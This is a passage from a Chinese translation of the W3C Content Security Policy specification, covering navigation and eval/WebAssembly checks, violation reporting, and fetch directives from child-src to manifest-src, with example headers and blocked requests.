给定一个请求导航请求, 一个响应 导航响应,一个CSP列表 响应CSP列表,字符串type ("form-submission"或"other"),以及一个可导航对象 target,该算法若活跃策略阻止导航则返回"Blocked", 否则返回"Allowed":

  1. 令result为"Allowed"。

  2. 对于 响应CSP列表 的 策略 中的每个policy:

    注意: 某些指令(如frame-ancestors)允许response的 内容安全策略在导航时生效。

    1. 对于 policy 的每个directive:

      1. 如果执行 directive 的 导航响应检查, 传入导航请求、type、导航响应、target、 "response"、policy、 响应CSP列表的self-origin, 返回 "Allowed", 跳到下一个directive。

      2. 否则,令violation为执行 § 2.4.1 为 global、policy 和 directive 创建违规对象 ,参数为null, policy 和 directive 的 名称。

        注意: global object 用 null, 因为此时尚未创建 Document 对象。

      3. 设置violation的资源 为 导航响应 的 URL。

      4. 对violation执行§ 5.5 报告违规。

      5. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  3. 对于 导航请求 的 策略容器 的 CSP列表的 策略 中的每个 policy:

    注意: 某些指令(如 frame-ancestors) 在 导航请求上下文中需要有response才会生效。

    1. 对于 policy 的每个 directive:

      1. 如果执行 directive 的 导航响应检查, 传入导航请求、type、导航响应、target、 "source"、policy、 响应CSP列表的self-origin, 返回"Allowed", 跳到下一个directive。

      2. 否则,令violation为执行 § 2.4.1 为 global、policy 和 directive 创建违规对象 ,参数为导航请求的 client的 全局对象、 policy和directive的 名称。

      3. 设置violation的资源为 导航请求的 URL。

      4. 对violation执行§ 5.5 报告违规。

      5. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  4. 返回 result。

4.2.6. 运行 CSP 初始化以处理全局对象

给定一个 全局对象 global,用户代理按以下步骤初始化 global 的 CSP。如果 global 允许,则此算法返回 "Allowed",否则返回 "Blocked":

  1. 令 result 为 "Allowed"。

  2. 对于 global 的 CSP列表 的 策略中的每个 policy:

    1. 对于 policy 的每个 directive:

      1. 执行 directive 的 初始化算法, 参数为 global 和 policy。 如果返回值为 "Blocked", 则将 result 设置为 "Blocked"。

  3. 返回 result。

4.3. 与 WebRTC 的集成

管理禁止 算法在调用时会调用 § 4.3.1 全局对象的RTC连接是否应被阻止?,如果返回 "Blocked",则禁止所有候选者。

4.3.1. 全局对象的 global RTC 连接是否应被阻止?

给定一个全局对象 global,如果 global 的活动策略阻止 RTC 连接,则此算法返回 "Blocked",否则返回 "Allowed":

  1. 令 result 为 "Allowed"。

  2. 对于 global 的 CSP列表 的 策略中的每个 policy:

    1. 对于 policy 的每个 directive:

      1. 如果执行 directive 的 webrtc 预连接检查 ,传入 policy,返回 "Allowed", 继续。

      2. 否则,令 violation 为执行 § 2.4.1 创建 global/policy/directive 的违规对象 ,参数为 global、policy 和 directive 的 名称。

      3. 设置 violation 的 资源为 null。

      4. 执行 § 5.5 报告违规,参数为 violation。

      5. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  3. 返回 result。

4.4. 与 ECMAScript 的集成

ECMAScript 定义了一个 HostEnsureCanCompileStrings() 抽象操作,该操作允许主机环境阻止将字符串编译为 ECMAScript 代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

给定一个 realm realm,一个字符串列表 parameterStrings,一个字符串 bodyString,一个字符串 codeString,一个枚举 (compilationType),一个 ECMAScript 语言值列表 (parameterArgs),和一个 ECMAScript 语言值 (bodyArg),如果允许字符串编译,则此算法正常返回,否则抛出 "EvalError":

  1. 令 sourceString 为 codeString。

  2. 如果 compilationType 不是 "TIMER",则:

    1. 如果 compilationType 是 "FUNCTION",则令 compilationSink 为 "Function",否则为 "eval"。

    2. 如果 bodyArg 实现 TrustedScript, 则令 isTrusted 为 true,否则为 false。

    3. 如果 isTrusted 为 true,则:

      1. 断言:bodyString 等于 bodyArg 的 数据。

      2. 断言:parameterArgs 的大小等于 parameterStrings 的大小。

      3. 对于范围 0 到 parameterArgs 的大小中的每个 index:

        1. 令 arg 为 parameterArgs[index]。

        2. 如果 arg 实现 TrustedScript, 则:

          1. 断言: parameterStrings[index] 等于 arg 的数据。

        3. 否则,将 isTrusted 设置为 false。

    4. 如果 isTrusted 为 false,则:

      1. 将 sourceString 设置为执行 获取符合可信类型要求的 字符串算法的结果,并传入 TrustedScript、 realm、codeString、compilationSink 和 'script'。

      2. 如果该算法抛出错误,则抛出一个 EvalError。

      3. 如果 sourceString 不等于 codeString,则抛出一个 EvalError。

  3. 令 result 为 "Allowed"。

  4. 令 global 为 realm 的全局对象。

  5. 对于 global 的 CSP 列表的策略中的每个 policy:

    1. 令 source-list 为 null。

    2. 如果 policy 包含一个指令,其名称为 "script-src",则 将 source-list 设置为该指令的值。

      否则,如果 policy 包含一个指令,其名称为 "default-src",则将 source-list 设置为该指令的值。

    3. 如果 source-list 不为 null:

      1. 令 trustedTypesRequired 为执行接收器类型是否需要 可信类型?的结果,并传入 realm、'script' 和 false。

      2. 如果 trustedTypesRequired 为 true,并且 source-list 包含一个源 表达式,该表达式与字符串 "'trusted-types-eval'" ASCII 不区分大小写匹配, 则跳过 以下步骤。

      3. 如果 source-list 包含一个源 表达式,该表达式与 字符串 "'unsafe-eval'" ASCII 不区分大小写匹配,则 跳过以下步骤。

      4. 令 violation 为对 global、policy 和 "script-src" 执行 § 2.4.1 为 global、policy 和 directive 创建违规对象的结果。

      5. 将 violation 的资源设置为 "eval"。

      6. 如果 source-list 包含表达式 "'report-sample'", 则将 violation 的样本设置为 sourceString 中包含其前 40 个字符的子字符串。

      7. 对 violation 执行 § 5.5 报告违规。

      8. 如果 policy 的处置方式为 "enforce",则将 result 设置为 "Blocked"。

  6. 如果 result 为 "Blocked",则抛出一个 EvalError 异常。

4.5. 与 WebAssembly 的集成

WebAssembly 定义了 HostEnsureCanCompileWasmBytes() 抽象操作,该操作允许主机环境阻止将 WebAssembly 源编译为可执行代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

给定一个 realm realm,如果允许编译,则此算法正常返回,否则抛出 WebAssembly.CompileError:

  1. 令 global 为 realm 的全局对象。

  2. 令 result 为 "Allowed"。

  3. 对于 global 的 CSP列表 的 策略 中的每个 policy:

    1. 令 source-list 为 null。

    2. 如果 policy 包含一个指令,其名称为 "script-src",则将 source-list 设置为该指令的值。

      否则,如果 policy 包含一个指令,其名称为 "default-src",则将 source-list 设置为该指令的值。

    3. 如果 source-list 非 null,且不包含与字符串 "'unsafe-eval'" ASCII 不区分大小写匹配的源表达式,也不包含与字符串 "'wasm-unsafe-eval'" ASCII 不区分大小写匹配的源表达式,则:

      1. 令 violation 为在 global、policy 和 "script-src" 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      2. 将 violation 的资源设置为 "wasm-eval"。

      3. 在 violation 上执行§ 5.5 报告违规。

      4. 如果policy的处理方式(disposition)为 "enforce",则将result设为 "Blocked"。

  4. 如果 result 为 "Blocked",则抛出 WebAssembly.CompileError 异常。

5. 报告

当一个或多个 策略 的指令被违反时, 可以生成 CSP违规报告 并发送到与该 策略 关联的报告端点。

CSP违规报告 的 报告类型 为 "csp-violation"。

CSP违规报告 可被 ReportingObserver 观察到。

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

当一个影响类似脚本的目标的指令具有 report-sha256、 report-sha384 或 report-sha512 值,并且所获取的请求 具有类似脚本的 目标时,将生成一个CSP 哈希报告,并 将其发送到与该策略相关联的报告端点。

CSP哈希报告 的 报告类型 为 "csp-hash"。

CSP哈希报告 不会被 ReportingObserver 观察到。

CSP哈希报告内容 是一个 结构体,包含下列字段: documentURL, subresourceURL, hash, destination, type。

当文档的响应包含以下标头时:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
    Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
    
并且文档加载脚本 "main.js" 时,将发送类似以下的报告:
POST /reports HTTP/1.1
    Host: example.com
    ...
    Content-Type: application/reports+json

    [{
        "type": "csp-hash",
        "age": 12,
        "url": "https://example.com/",
        "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
        "body": {
        "document_url": "https://example.com/",
        "subresource_url": "https://example.com/main.js",
        "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
        "type": "subresource",
        "destination": "script"
        }
    }]
    

5.1. 违规 DOM 事件

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 获取违规resource的 blockedURI

给定违规的资源 resource,此算法返回一个字符串, 用作违规报告的阻止 URI 字段。

  1. 断言:resource 是一个 URL 或一个字符串。

  2. 如果 resource 是一个 URL,则返回在 resource 上执行§ 5.4 为在报告中使用而剥离 URL的结果。

  3. 返回 resource。

5.3. 获取violation的已弃用序列化形式

给定一个violation violation,该算法返回违规的 JSON 文本字符串表示形式,适合提交给与已弃用的report-uri指令关联的报告端点。

  1. 让body是一个映射,其键初始化如下:

    "document-uri"

    在violation的url上执行§ 5.4 用于报告的 URL 剥离的结果。

    "referrer"

    在violation的referrer上执行§ 5.4 用于报告的 URL 剥离的结果。

    "blocked-uri"

    在violation的resource上执行§ 5.2 获取违规资源的 blockedURI的结果。

    "effective-directive"

    violation的有效指令

    "violated-directive"

    violation的有效指令

    "original-policy"

    violation的policy的序列化

    "disposition"

    violation 的 处置方式 以及其 策略

    "status-code"

    violation的状态

    "script-sample"

    violation的样本

    注: 名称 script-sample 是为了与此功能的早期版本保持兼容而选择的, 该早期版本自 Firefox 最初实现 CSP 时起就已发布。 尽管 名称如此,此字段也将包含非脚本违规的样本,例如样式表。 SecurityPolicyViolationEvent 对象中包含的数据,以及通过 新的 report-to 指令生成的报告中的数据,采用了一个涵盖范围更广的名称: sample。

  2. 如果violation的源文件不是 null:

    1. 将body["source-file"] 设置为在violation的源文件上执行§ 5.4 用于报告的 URL 剥离的结果。

    2. 将body["line-number"] 设置为violation的行号。

    3. 将body["column-number"] 设置为violation的列号。

  3. 断言:如果body["blocked-uri"] 不是 "inline",则body["sample"] 为空字符串。

  4. 返回使用将 infra 值序列化为 JSON 字节给定 «[ "csp-report" → body ]» 的结果。

5.4. 用于报告的 URL 剥离

给定一个URL url,该算法返回一个用于违规报告的字符串形式的 URL:

  1. 如果url的scheme不是HTTP(S) scheme,则返回url的scheme。

  2. 将url的fragment设置为空字符串。

  3. 将url的username设置为空字符串。

  4. 将url的password设置为空字符串。

  5. 返回在url上执行URL 序列化器的结果。

5.5. 报告violation

给定一个violation violation,该算法将其报告到violation的policy中指定的端点,并在violation的element,或如以下描述的violation的global object上触发SecurityPolicyViolationEvent。

  1. 令 global 为 violation 的 全局对象。

  2. 令 target 为 violation 的 元素。

  3. 排入一个任务来执行以下步骤:

    注意:我们在此处“排入任务”以确保事件目标和分发在负责某个违规的任务的 JavaScript 执行完成后发生(该任务可能会操作 DOM)。

    1. 如果 target 不为 null,且 global 是一个 Window, 并且 target 的 包括影子树的根不是 global 的关联的 Document,则将 target 设置为 null。

      注意:这可确保我们仅在连接到 violation 的策略的 Document 的元素上触发 事件。如果 违规是由未连接到该 document 的元素引起的,我们将在 document 而不是该元素上触发事件, 以确保该违规对 document 的 监听器可见。

    2. 如果 target 为 null:

      1. 将 target 设置为 violation 的全局 对象。

      2. 如果 target 是一个 Window, 则将 target 设置为 target 的关联的 Document。

    3. 如果 target 实现 EventTarget, 则在 target 上触发一个事件,其名称为 securitypolicyviolation, 使用 SecurityPolicyViolationEvent 接口,并按如下方式初始化其属性:

      documentURI

      对 violation 的 url 执行§ 5.4 剥离用于报告的 URL的结果。

      referrer

      对 violation 的 referrer 执行§ 5.4 剥离用于报告的 URL的结果。

      blockedURI

      对 violation 的 资源 执行§ 5.2 获取违规资源的 blockedURI的结果。

      effectiveDirective

      violation 的有效指令

      violatedDirective

      violation 的有效指令

      originalPolicy

      violation 的 策略的序列化

      disposition

      violation 的处置方式

      sourceFile

      如果 violation 的 源文件不为 null,则为对 violation 的 源文件执行§ 5.4 剥离用于报告的 URL的结果,否则为 null。

      statusCode

      violation 的状态

      lineNumber

      violation 的行号

      columnNumber

      violation 的列号

      sample

      violation 的样本

      bubbles

      true

      composed

      true

      注意:我们设置了 composed 属性,这意味着此事件 可以在进入影子树的过程中被捕获,并在离开影子 树的过程中冒泡。target 等属性将自动针对 主树正确确定作用域。

      注意:effectiveDirective 和 violatedDirective 的值相同。 这是有意为之,以保持向后兼容性。

    4. 如果 violation 的策略的指令 集包含一个名为“report-uri”的指令 directive:

      1. 如果 violation 的策略的 指令 集包含一个名为 “report-to”的指令,则跳过剩余 子步骤。

      2. 对于 directive 的 值中的每个 token:

        1. 令 endpoint 为使用 token 作为输入,并以 violation 的 url 作为基 URL执行URL 解析器 的结果。

        2. 如果 endpoint 不是有效 URL,则跳过剩余子步骤。

        3. 令 request 为一个新的请求,按如下方式初始化:

          方法

          “POST”

          url

          endpoint

          源

          violation 的全局对象的相关设置 对象的源

          用于用户 提示的可遍历对象

          “no-traversable”

          客户端

          violation 的全局对象的相关 设置对象

          目标

          “report”

          发起者

          “”

          凭据 模式

          “same-origin”

          keepalive

          “true”

          标头列表

          一个仅包含单个标头的标头列表,其名称为 “Content-Type”,值为 “application/csp-report”

          主体

          对 violation 执行§ 5.3 获取违规的 已弃用序列化的结果

          重定向模式

          “error”

          注意: request 的模式默认为 “no-cors”;响应将被完全忽略。

        4. Fetch request。结果 将被忽略。

      注意:所有这些都应被 视为已弃用。它会为每次违规发送一个 请求,这根本无法扩展。一旦可以从用户代理中移除这种 行为,就会将其移除。

      注意:report-uri 仅在 不存在 report-to 时生效。也就是说, 后者会覆盖前者,从而允许与不支持新机制的 浏览器保持向后兼容性。

    5. 如果 violation 的策略的指令 集包含一个名为“report-to”的指令 directive:

      1. 令 body 为一个新的 CSPViolationReportBody, 按如下方式 初始化:

        documentURL

        对 violation 的 url 执行§ 5.4 剥离用于报告的 URL的结果。

        referrer

        对 violation 的 referrer 执行§ 5.4 剥离用于报告的 URL的结果。

        blockedURL

        对 violation 的 资源 执行§ 5.2 获取违规资源的 blockedURI的结果。

        effectiveDirective

        violation 的有效指令。

        originalPolicy

        violation 的 策略的 序列化。

        sourceFile

        如果 violation 的 源文件不为 null,则为对 violation 的 源文件执行§ 5.4 剥离用于报告的 URL的结果,否则 为 null。

        sample

        violation 的样本。

        disposition

        violation 的处置方式。

        statusCode

        violation 的状态。

        lineNumber

        如果 violation 的源文件不为 null, 则为 violation 的行号, 否则为 null。

        columnNumber

        如果 violation 的源文件不为 null, 则为 violation 的列号, 否则为 null。

      2. 令 settings object 为 violation 的全局 对象的相关设置对象。

      3. 使用以下参数生成并排队一个报告:

        context

        settings object

        type

        "csp-violation"

        destination

        directive 的值。

        data

        body

6. 内容安全策略指令

本规范定义了一些类型的 指令,这些指令允许开发人员控制其网站行为的某些方面。本文档定义了用于管理资源抓取的指令(在 § 6.1 抓取指令 中)、用于管理文档状态的指令(在 § 6.3 文档指令 中)、用于管理导航方面的指令(在 § 6.4 导航指令 中)以及用于管理报告的指令(在 § 6.5 报告指令 中)。这些构成了内容安全策略的核心;其他指令以模块化的方式在附属文档中定义(参见 § 6.6 其他文档中定义的指令 的示例)。

为了降低跨站脚本攻击的风险,Web 开发人员应包含一些规定脚本和插件来源的指令。他们可以通过以下方式实现:

无论哪种情况,开发人员都不应在其策略中包含 'unsafe-inline' 或 data: 作为有效来源。两者都允许直接在文档中包含代码,从而使 XSS 攻击得以实施,因此应尽量避免完全使用。

6.1. 抓取指令

抓取指令控制某些资源类型可以从何处加载。例如,script-src 允许开发人员信任的脚本来源在页面上执行,而 font-src 控制网页字体的来源。

6.1.1. child-src

child-src 指令用于管理 子导航(例如 iframe 和 frame 导航)和 Worker 执行上下文的创建。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "child-src"
    directive-value = serialized-source-list
    

此指令控制将填充帧或 worker 的 请求。更正式地说,它适用于以下类别的 请求:

给定包含以下内容安全策略的页面:
Content-Security-Policy: child-src https://example.com/

对于以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 child-src 的 来源列表不匹配:

<iframe src="https://example.org"></iframe>
    <script>
    var blockedWorker = new Worker("data:application/javascript,...");
    </script>
    
6.1.1.1. child-src 预请求检查

本指令的 预请求检查如下:

给定一个 请求 request,一个 策略 policy, 和一个 源 self-origin:

  1. 令 name 为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果在 name、 child-src 和 policy 上执行 § 6.8.4 是否应执行 fetch 指令的结果为 "No",则返回 "Allowed"。

  3. 返回对指令执行请求前 检查的结果,该名称为 name,检查对象为 request、policy 和 self-origin,并使用该 指令的值进行比较。

6.1.1.2. child-src 后请求检查

本指令的请求后检查如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果在 name、 child-src 和 policy 上执行 § 6.8.4 是否应执行 fetch 指令的结果为 "No",则返回 "Allowed"。

  3. 返回对指令执行请求后 检查的结果,该名称为 name,检查对象为 request、response、policy 和 self-origin,并使用该 指令的值进行比较。

6.1.2. connect-src

connect-src 指令限制通过脚本接口加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "connect-src"
    directive-value = serialized-source-list
    

此指令控制 请求,这些请求用于从其他源传输或接收数据。这包括 fetch()、[XHR]、[EVENTSOURCE]、[BEACON] 以及 a 的 ping 属性。此外,此指令还控制 WebSocket 的 [WEBSOCKETS] 连接,尽管它们技术上不属于 Fetch。

JavaScript 提供了几种直接连接到外部服务器以发送或接收信息的机制。EventSource 维持与服务器的开放 HTTP 连接,以接收推送通知,WebSockets 在浏览器和服务器之间打开双向通信通道,而 XMLHttpRequest 代表用户进行任意的 HTTP 请求。这些都是强大的 API,能够提供有用的功能,但同时也可能成为数据泄露的诱人途径。

connect-src 指令允许您确保这些和类似类型的连接仅能打开到您信任的源。发送一个为此指令定义源表达式列表的策略非常简单。例如,若要限制连接仅能到 https://example.com,发送以下头部:

Content-Security-Policy: connect-src https://example.com/

以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 connect-src 的 来源列表不匹配:

<a ping="https://example.org">...
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.org/');
    xhr.send();

    var ws = new WebSocket("wss://example.org/");

    var es = new EventSource("https://example.org/");

    navigator.sendBeacon("https://example.org/", { ... });
    </script>
    
6.1.2.1. connect-src 预请求检查

此指令的 预请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 connect-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 令 source list 为该指令的 值。

  4. 如果 request 的 模式 为 "webtransport" 且 request 的 WebTransport哈希列表 非空:

    1. 如果 source list 包含一个源表达式 且它与ASCII不区分大小写匹配 keyword-source "'unsafe-webtransport-hashes'", 则返回 "Allowed"。

    2. 返回 "Blocked"。

  5. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、source list 和 self-origin, 的结果是 "Matches",则返回 "Allowed"。

  6. 返回 "Blocked"。

6.1.2.2. connect-src 后请求检查

此指令的 后请求检查如下:

给定一个 请求 request,一个 响应 response, 一个 策略 policy, 一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch 指令是否执行,参数为 name、 connect-src 和 policy,返回 "No", 返回 "Allowed"。

  3. 令 source list 为该指令的 值。

  4. 如果 request 的 模式 为 "webtransport" 且 request 的 WebTransport-hash 列表 非空:

    1. 如果 source list 包含一个 源表达式 且它与 ASCII 不区分大小写匹配 keyword-source "'unsafe-webtransport-hashes'", 返回 "Allowed"。

    2. 返回 "Blocked"。

  5. 如果执行 § 6.7.2.6 响应与源列表是否匹配?, 传入 response、request、source list 和 self-origin, 结果为 "Matches",返回 "Allowed"。

  6. 返回 "Blocked"。

6.1.3. default-src

default-src 指令作为其他 抓取指令 的回退。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "default-src"
    directive-value = serialized-source-list
    

如果策略中存在一个 default-src 指令,则其值将用作策略的默认来源列表。即,给定 default-src 'none'; script-src 'self',脚本请求将使用 'self' 作为 来源列表 来进行匹配。其他请求将使用 'none'。在 § 4.1.2 Content Security Policy 是否应阻止请求? 和 § 4.1.3 Content Security Policy 是否应阻止响应? 算法中对此进行了更详细的说明。

资源提示如 prefetch 和 preconnect 生成的请求不与任何特定的 抓取指令 绑定,而是由策略中所有指令的 来源列表 的并集管理。如果未指定 default-src,这些请求将始终被允许。更多信息请参阅 § 8.6 数据外泄。[HTML]
以下头部:
Content-Security-Policy: default-src 'self'
    

与以下头部具有相同的行为:

Content-Security-Policy: connect-src 'self';
                            font-src 'self';
                            frame-src 'self';
                            img-src 'self';
                            manifest-src 'self';
                            media-src 'self';
                            object-src 'self';
                            script-src-elem 'self';
                            script-src-attr 'self';
                            style-src-elem 'self';
                            style-src-attr 'self';
                            worker-src 'self'
    

也就是说,当设置了 default-src 时,所有未显式设置的 抓取指令 都将回退到 default-src 指定的值。

没有继承关系。例如,如果显式指定了 script-src 指令,那么 default-src 的值将不会影响脚本请求。也就是说,以下头部:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
    

将与以下头部具有相同的行为:

Content-Security-Policy: connect-src 'self';
                            font-src 'self';
                            frame-src 'self';
                            img-src 'self';
                            manifest-src 'self';
                            media-src 'self';
                            object-src 'self';
                            script-src-elem https://example.com;
                            script-src-attr 'self';
                            style-src-elem 'self';
                            style-src-attr 'self';
                            worker-src 'self'
    

鉴于这种行为,为网站构建策略的一个好方法是从 default-src 设置为 'none' 开始,然后逐步构建一套仅允许特定页面所需资源类型的策略。

6.1.3.1. default-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果在 name、 default-src 和 policy 上执行 § 6.8.4 是否应执行 fetch 指令的结果为 "No",则返回 "Allowed"。

  3. 返回对指令执行请求前 检查的结果,该名称为 name,检查对象为 request、policy 和 self-origin,并使用该 指令的 值进行 比较。

6.1.3.2. default-src 后请求检查

该指令的 后请求检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果在 name、 default-src 和 policy 上执行 § 6.8.4 是否应执行 fetch 指令的结果为 "No",则返回 "Allowed"。

  3. 返回对指令执行请求后 检查的结果,该名称为 name,检查对象为 request、response、policy 和 self-origin,并使用该 指令的值进行比较。

6.1.3.3. default-src 内联检查

该指令的 内联检查 算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source:

  1. 将 name 设置为执行 § 6.8.2 获取内联检查的有效指令 对 type 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令 对 name、default-src 和 policy 的结果为 "No",则返回 "Allowed"。

  3. 否则,返回执行 内联检查 的结果,其 指令的 名称 为 name,对 element、type、policy 和 source 进行比较,使用该指令的 值 进行比较。

6.1.4. font-src

font-src 指令限制可以加载字体资源的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "font-src"
    directive-value = serialized-source-list
    
给定一个具有以下内容安全策略的页面:
Content-Security-Policy: font-src https://example.com/
    

以下代码的获取将返回网络错误,因为提供的 URL 与 font-src 的源列表不匹配:

<style>
    @font-face {
        font-family: "Example Font";
        src: url("https://example.org/font");
    }
    body {
        font-family: "Example Font";
    }
    </style>
    
6.1.4.1. font-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 font-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 value 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.4.2. font-src 请求后检查

该指令的 请求后检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 font-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应与源列表是否匹配?, 传入 response、request、本指令的 值 和 self-origin,结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5. frame-src

frame-src 指令限制可加载到 子导航 的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "frame-src"
    directive-value = serialized-source-list
    
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: frame-src https://example.com/
    

以下代码的请求将返回网络错误,因为提供的 URL 与 frame-src 的 来源列表不匹配:

<iframe src="https://example.org/">
    </iframe>
    
6.1.5.1. frame-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 frame-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5.2. frame-src 请求后检查

该指令的 请求后检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 frame-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应与源列表是否匹配?, 传入 response、request、本指令的 值 和 self-origin,结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6. img-src

img-src 指令限制加载图像资源的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "img-src"
    directive-value = serialized-source-list
    

该指令控制加载图像的 请求。更正式地说,这包括其 请求 的 目标 为 "image" 的请求 [FETCH]。

给定一个包含以下内容安全策略的页面:
Content-Security-Policy: img-src https://example.com/
    

以下代码的请求将返回网络错误,因为提供的 URL 与 img-src 的 来源列表不匹配:

<img src="https://example.org/img">
    
6.1.6.1. img-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 img-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6.2. img-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,一个 策略 policy,以及一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request。

  2. 如果执行 § 6.8.4 fetch指令是否执行, 参数为 name、img-src 和 policy, 结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表?, 传入 response、request、本指令的 值 和 self-origin, 结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7. manifest-src

manifest-src 指令限制从哪个 URL 加载应用程序清单 [APPMANIFEST]。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "manifest-src"
    directive-value = serialized-source-list
    
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: manifest-src https://example.com/
    

以下代码的请求将返回网络错误,因为提供的 URL 与 manifest-src 的 来源列表不匹配:

<link rel="manifest" href="https://example.org/manifest">
    
